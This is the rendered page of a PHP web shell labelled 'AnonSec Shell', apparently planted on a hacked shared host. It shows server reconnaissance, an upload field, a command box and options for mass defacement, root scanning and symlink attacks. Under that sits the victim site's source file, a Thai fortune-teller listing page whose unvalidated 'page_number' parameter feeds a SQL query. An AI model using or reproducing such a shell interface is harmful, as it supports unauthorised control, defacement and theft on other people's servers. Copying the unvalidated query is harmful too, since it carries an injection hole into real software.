AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/predictnumbers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/predictnumbers/index.php
<?php 
include('../include/header.php');
include('../themes/menu.php');
?> 
<div class="container">

  <div class="row">
    <div class="col-md-9">
    
     <?php include('../themes/predictteacher.php'); ?>
    
    <div style="margin-top:35px;">
    
          <div class="row">
            <div class="col-md-6" style="margin-bottom:5px;">
            	<p class="HeadTextL">รายชื่ออาจารย์</p>
            </div>
            <?php
			$sql_s = 'status = "1" AND status_op = "1" AND activate = "1"'; 
			
			$max_rows = 10; // แสดงจำนวนแถวต่อหน้า
			$page_number = 0;
			if(isset($_GET['page_number']))
			{
				 $page_number = $_GET['page_number'];
			}
			
			$all_array =  array('table'=>'professor','where'=>$sql_s);
			$start_row = $page_number * $max_rows; 
			$all_sql = $view_db->view($all_array);
			$all_result = $view_db->q_re($all_sql);	
			$total_rows = $view_db->q_nr($all_result);
			$total_rows_num = mysql_num_rows($all_result);
			$total_pages = ceil($total_rows/$max_rows)-1;
			////////////////////////////////////////
			$list = array('table'=>'professor','where'=>$sql_s, 'limit'=> "$start_row,$max_rows",'order'=> "ORDER BY id DESC");				  
			$view = $view_db->view($list);
			$result = $view_db->q_re($view);
			$num_tr = 1;
			$num = 1+($page_number*$max_rows);
			?>
            
            
           <!-- <div class="col-md-6 BerDedToday-page">
            	<?php
				/*if($total_rows_num > 0)
				{	
					page_news($page_number,$total_pages,'index.php','');
				}*/
				?>
              </div>-->
          </div>
          
 	      <div class="row" >
          <?php
         while($rowpro = $view_db->q_ro($result))
		  {
			  ?>
              <div class="col-md-6">
              <div class="BoxRecom">
                	<div class="row BoxRecom-div">
                      <div class="col-xs-12" style="margin-bottom:15px;"><span class="" style="font-size:30px;">
					   <a href="<?php echo $Url_shop.'prophecy/'.$rowpro['code']?>" target="_blank" style="color:#333;"> 
					   <?php echo $rowpro['nameprophecy']?>
                       </a></span></div>
                        <div class="col-xs-4 PredictProfile"  style="padding-left:15px;padding-top:15px">
                         
                        <a href="<?php echo $Url_shop.'prophecy/'.$rowpro['code']?>" target="_blank" style="color:#333;"> 
                        	<?php
							if($rowpro['image_profile']){ $url_imgpro =  $rowpro['image_profile']; }else{ $url_imgpro =  '';}
							?>
                            <?php echo imgprofile_pro($url_imgpro,'100'); ?>
                        </a>
                           <!-- <div>
                                <img src="../images/icon_star1.png" width="16" height="16">
                                <img src="../images/icon_star1.png" width="16" height="16">
                                <img src="../images/icon_star1.png" width="16" height="16">
                                <img src="../images/icon_star2.png" width="16" height="16">
                                <img src="../images/icon_star2.png" width="16" height="16">
                        	</div>-->
                          
                        </div>
                        <?php
						$txt_phonenumber =  $Phone_class->phonecomma($rowpro['phone']);
						?>
                      <div class="col-xs-8">
                      	<div style="color:#ff0000;font-size:18px;">โทร : <?php echo $txt_phonenumber?></div>
                        <div style="color:#00a651;font-size:18px;">Line : <?php echo $rowpro['lineid'];?></div>
                        <div style="min-height:60px;">
                            <?php echo $util_class->sub_str($rowpro['title'],90)?>
                        </div>
                        <div style="color:#0248bb;"> ดูไปแล้ว : <?php echo number_format($rowpro['view'])?> </div>
                      </div>
                       <div class="col-xs-8" style="margin-top:15px;">
                            <div class="row">
                            <div class="col-xs-2" style="text-align:left;padding-top:5px;" align="left"><img src="../images/b2.jpg" width="34" height="34"></div>
                        	<div class="col-xs-10" align="left">
                                <div style="font-size:18px;"><?php echo $rowpro['nameprophecy']?> </div>
                                <div>เบอร์ติดต่อ <?php echo $txt_phonenumber?> </div>
                            </div>
                            </div>
                        </div>
                        <div class="col-xs-4" style="margin-top:15px;padding-top:15px;" align="right">
                        	<!--ร้านโปรด <img src="../images/icon_Ulike.png" width="24" height="24">-->
                        </div>  
                    </div>
              </div>
              </div>
              <?php
			  if($i==6)
			  {
				  ?>
                   <div class="col-md-12">
                      <img src="../images/ad.jpg" width="847" height="120"  class="img-responsive" /> 
                   </div>
                  <?php
			  }
		  }
		  ?>
          </div>
          
          <div class="row" align="right">
          <div class="col-md-12">
          <?php
			if($total_rows_num > 0)
			{
				page_news($page_number,$total_pages,'index.php','');
			}
			?>
          </div>
          </div>
                      
          
         </div>
         
     
    </div>

    <div class="col-md-3">
    	<?php
		  include('../themes/totalnumber.php');
		  include('../themes/price.php');
		  include('../themes/mobilenetwork.php');
		  include('../themes/article.php');
		  include('../themes/facebookpage.php');
		?>
    </div>
  </div>
  
 
  
</div>
    

    
    
   
 
<?php 
include('../themes/footer.php');
include('../include/footer_js.php');
?>

Anon7 - 2022
AnonSec Team